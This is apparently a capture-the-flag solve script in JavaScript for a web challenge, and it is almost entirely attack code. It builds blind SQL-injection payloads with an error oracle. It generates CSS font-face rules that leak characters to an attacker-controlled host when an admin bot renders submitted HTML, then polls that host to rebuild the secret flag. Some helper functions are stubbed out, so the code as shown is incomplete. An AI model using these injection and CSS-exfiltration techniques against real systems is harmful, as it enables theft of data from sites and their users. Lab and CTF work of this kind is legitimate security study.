const fetch = require('node-fetch'); var flag = 'nn9ed{' var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}' var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/\(/g, '\\(').replace(/\)/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}'); var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect const base_url = 'http://x-oracle-v2.nn9ed.ka0labs.org/' // Generates definitions for fonts function generateFonts() { let s = '' for (let i = 37; i < 127; i++) { s += `@font-face{ font-family:'l-${i}'; src:url('//trnq.cf:81/l/${i}'); unicode-range:U+0041; } ` } return s; } // Generates rules for each object element function generateRules() { let s = '' for (let i = 37; i < 127; i++) { s += `#o${i}{ font-family: 'l-${i}' } ` } return s; } function generateStyle() { return ''; } // generates unique objects function generateObjects(offset) { let s = '' for (let i = 37; i < 127; i++) { s += `A ` } return s; } async function createhtml(offset) { let r = await fetch(base_url + "createhtml", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' }, method: "POST", body: JSON.stringify({ html: generateStyle() + generateObjects(offset) }) }); let html = await r.text(); return html; } const sleep = d => new Promise(r => setTimeout(r, d)); async function run(offset) { // reseting currently fetched characters await fetch('http://trnq.cf:81/reset'); // sending payload let msg = await createhtml(offset); let token = /readhtml\/([^"]+)/.exec(msg)[1] // reporting payload to admin await fetch(base_url + 'report/' + token) while (1) { await sleep(500); // geting chars from my server that were not sent by an admin let t = await fetch('http://trnq.cf:81/get_char').then(d => d.text()) // console.log(t) // waiting for only one character missing which is a character of the flag. if (t.split(',').length == 1) { flag += String.fromCharCode(t); console.log(flag); return run(flag.length + 1) } } } var flag = 'nn9ed{' run(flag.length + 1); /* A */